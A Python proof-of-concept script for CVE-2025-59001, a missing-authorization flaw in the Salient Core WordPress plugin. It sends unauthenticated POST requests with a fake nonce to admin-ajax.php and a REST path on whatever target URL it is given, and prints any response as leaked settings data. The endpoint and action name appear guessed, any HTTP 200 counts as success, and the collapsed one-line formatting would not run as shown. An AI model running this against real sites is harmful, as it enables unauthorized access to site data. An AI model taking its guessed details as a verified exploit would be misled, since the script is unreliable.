CVE-2025-59001

import requests import sys # CVE-2025-59001 PoC - Missing Authorization in Salient Core # Target: WordPress site with Salient Core plugin <= 3.0.8 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-59001 This PoC demonstrates unauthorized access to protected endpoints """ # Add your target WordPress site URL base_url = target_url.rstrip('/') # Step 1: Identify the vulnerable endpoint # The plugin exposes admin-ajax.php or custom REST endpoints vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/salient/v1/' ] # Step 2: Attempt to access protected functionality # without proper authentication/authorization headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Step 3: Test with low-privilege or no auth # Modify the action parameter based on target for endpoint in vulnerable_endpoints: url = f'{base_url}{endpoint}' # Example: Test unauthorized access to settings data = { 'action': 'nectar_get_core_settings', 'nonce': 'fake_nonce_for_testing' # May not be required due to missing auth check } try: response = requests.post(url, data=data, headers=headers, timeout=10) # If we get a 200 response with sensitive data, vulnerability exists if response.status_code == 200: print(f'[+] Potential vulnerability detected at: {url}') print(f'[+] Response: {response.text[:500]}') return True except requests.exceptions.RequestException as e: print(f'[-] Error testing {url}: {e}') return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print('Usage: python poc.py <target_url>') print('Example: python poc.py http://target.com')

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